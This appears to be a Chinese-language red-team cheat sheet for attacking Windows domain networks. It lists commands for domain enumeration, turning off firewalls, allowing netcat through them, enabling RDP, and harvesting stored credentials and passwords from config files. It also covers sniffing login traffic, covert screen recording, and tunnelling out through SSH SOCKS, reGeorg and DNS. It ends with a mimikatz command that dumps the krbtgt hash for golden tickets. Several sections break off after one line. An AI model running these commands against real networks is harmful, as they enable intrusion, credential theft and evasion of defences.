内网安全攻防
判断域环境
查看网卡 如果存在主dns后缀则很有可能存在域
ipconfig /all |
系统信息内会包含域 没域会显示WORDGROUP
systeminfo |
查看网络配置 没域会显示WORDGROUP
net config workstation |
通过时间查看
net time /domain |
查看域控机器名称
nltest /dclist:de1ay |
可以看到启动进程的用户 可能有域用户
tasklist /v |
信息搜集
查看软件、版本
wmic product get name,version |
看进程
tasklist /svc |
查看域用户
net user /domain |
查看防火墙配置
netsh firewall show config |
查看域用户详情
net user name /domain |
查看开机信息
net statistics workstation |
查看计划任务
schtasks /query /fo list /v |
查看域控主机名
nltest /DCLIST:域名 |
查询在线用户
query user || qwinsta |
查看分享情况
net share |
windows 2003之前的版本关闭防火墙
netsh firewall set opmode disable |
win2003之后的版本关闭防火墙
netsh advfirewall set allprofiles state off |
查看防火墙配置
netsh firewall show config |
2003及之前的版本,允许指定的程序进行全部的连接
netsh firewall add allowedprogram c:\nc.exe "allownc" enable |
2003之后的版本,允许指定的程序进行全部的连接
netsh advfirewall firewall add rule name="pass nc"dir=in action=allow program="C:\nc.exe" |
允许指定程序退出
netsh advfirewall firewall add rule name="Allownc" dir=out action=allow program="C: \nc.exe" |
查看远程桌面是否开启
REG QUERY "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections #1关闭, 0开启 |
开启远程桌面服务并放行
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f |
其他系统开启3389端口
1、在2003机器上 |
查看当前保存的登录凭证
cmdkey /l |
查看最近打开的文档
dir %APPDATA%\Microsoft\Windows\Recent |
域环境信息收集
通过这条命令我们能够拿到当前域用户的SID(在域中并不是通过用户名来确认你的身份,而是通过SID)
whoami /all |
查询域管
net group "Domain Admins" /domain |
查询域内时间 执行计划任务时会用到
net localgroup administrators /domain |
查看主域控器
netdom query pdc |
查看域信任的信息 为什么要查看域信任信息呢?因为在内网域中存在很多域,例如子域或者主域
nltest /domain_trusts |
查看密码策略
net accounts /domain |
内网存活探测
1.windows下ping
for /L %I in (1,1,255) do @ping -w 1 -n 1 10.0.0.%I | find /i "ttl=" |
2.Linux下ping
for i in 192.168.1.{1..254}; do if ping -c 3 -w 3 $i &>/dev/null; then echo $i is alived; fi; done |
3.Nbtscan
https://github.com/charlesroelli/nbtscan
http://www.unixwiz.net/tools/nbtscan.html#download
基于netbios协议探测主机
Nbtscan.exe 10.10.10.1/24 |
4.ptscan
https://github.com/phantom0301/PTscan
pyinstaller -F -w ptscan.py |
5.fscan
https://github.com/shadow1ng/fscan
fscan.exe -h 10.0.0.0/24 -o 10_0_0_0.txt |
域内用户查询
net user /domain |
内网中的协议
1.NTLM
NTLM是一种认证协议,存在NTLM v1和HTLM v2两个版本
Windows登陆认证时的流程如下:
用户输入密码 -> winlogon.exe -> 接收用户输入的密码 -> 保存为密文 -> lsass.exe -> 登陆成功
所以通过创建lsass.exe的转储文件可以拿到机器登陆过的用户hash
Windows 2008以下可以使用非管理员用户进行hash传递 |
2.Kerberos
Kerberos是一种认证协议和NTLM是不同的,他的认证在域控端(KDC)上认证
● KDC为密钥分发中心,主要用于Kerberos请求,部分是AS负责认证,部分是TGS负责票据授予 |
在内网内网端口时一定要留意88端口,如果开放了88端口那么80%的几率是域控或者是LDAP服务
使用ip连接是ntml协议
net use \\10.0.0.1 /u:red\administrator Admini123456 |
使用主机名是kerberos协议
net use \\owa /u:red\administrator Admini123456 |
3.LDAP
ldap协议默认走的是389端口 可以使用这个软件连接DC的LDAP机器
https://learn.microsoft.com/en-us/sysinternals/downloads/adexplorer
密码搜集
cs里的插件能自动搜集很多软件的密码 这里记录一些命令
检索文件绝对路径
dir /s /b c:|findstr "index.php" |
查询文件内的配置信息
findstr /c:"user=" /c:"pass=" /c:"uid=" /c:"pwd=" /si *.ini *.conf *.jsp *.php web.config |
linux下搜索
find ./ -name *.php |
假设拿到shell 不知道数据库的加密方式 解不开hash 可以尝试抓跟网站交互的数据包
tcpdump -i eth0 -s 0 -nnA 'tcp dst port 80 and host 192.168.1.108' | egrep -i 'login=|password=' --color=auto --line-buffered -B20 |
查注册表(作用不大)
reg query HKLM /f password /t REG_SZ /s |
屏幕录屏
shell psr /start /output c:\Windows\Logs\test.zip /gui 0 |
代理隧道
1.netsh
端口转发
netsh interface portproxy add v4tov4 listenport=本地bind端口 connectaddress=目标服务器(IP) connectport=目标的端口
netsh interface portproxy add v4tov4 listenport=4444 connectaddress=10.10.10.10 connectport=80 |
查看规则
netsh interface portproxy show all |
删除规则
netsh interface portproxy delete v4tov4 listenport=7777 |
删除所有规则
netsh interface portproxy reset |
msf反弹shell
填写能够直接跟我们交互的域内机器ip |
2.Metasploit Portfwd
把自己的3389转到192.168.0.142的3389 |
3.Neo-reGeorg
reGeorg是一个能穿透内网的工具,基于socks5而且支持的脚本众多,可以说是内网穿透神奇,但是作为使用率众多的软件,杀软都会拦截,使用还需要做免杀处理现有一个项目是reGeorg修改而来,而且做了加密处理,脚本也免杀项目地址:https://github.com/L-codes/Neo-reFeorg
服务器运行 |
4.ssh
搭建socks5
ssh -qTfnN -D 7070 root@8.210.55.154 |
本地转发
ssh -L 6666:10.10.10.155:80 moonsec@192.168.0.139 -fN |
5.ew
由于太牛逼了 作者不更新了
https://github.com/idlefire/ew
本地开启socks服务 |
6.Tunna
感觉Neo-reGeorg是他的升级版
https://github.com/SECFORCE/Tunna
通过192.168.0.139/conn.aspx将10.10.10.155的3389端口转发到本地的4321端口 |
7.ptunnel
以前叫做Ptunnel是老牌软件,现在更新名字为pingtunnel
新版本介绍:https://github.com/esrrhs/pingtunnel(二次开发)
老版本介绍:https://github.com/utoni/ptunnel-ng
yum -y install byacc |
8.dns2tcp
DNS是隐蔽信道的一种,通过将其他协议封装在DNS协议中传输建立通信。因为在网络世界中DNS是必不可少的服务,所以大部分防火墙和入侵检测设备很少会过滤DNS流量,这就给DNS作为一种隐蔽信道提供了条件,从而可以利用它实现远控控制、文件传输等操作dns2tcp是一个利用DNS隧道转发TCP连接的工具,支持KEY和TXT类型的请求,用C语言开发它分为两个部分,服务端和客户端服务端运行在Linux服务器上客户端可以运行在Linux和Windows上编译完成在服务端的可执行文件名称为dns2tcpd,在客户端上的名称为dns2tcpc
配置一个域名,增加一条A记录和NS记录 |
黄金票据
获取了域控密钥分发账户KRBTGT 的权限 利用KRBTGT 的hash即可制作黄金票据
1.KRBTGT的hash |
获取域的sid值(去掉最后的-500,500表示为administrator用户)
whoami /user |
查看所处域
net config workstation |
获取hash与sid
mimikatz.exe "log a.txt" "privilege::debug" "lsadump::lsa /patch /user:krbtgt" "exit" |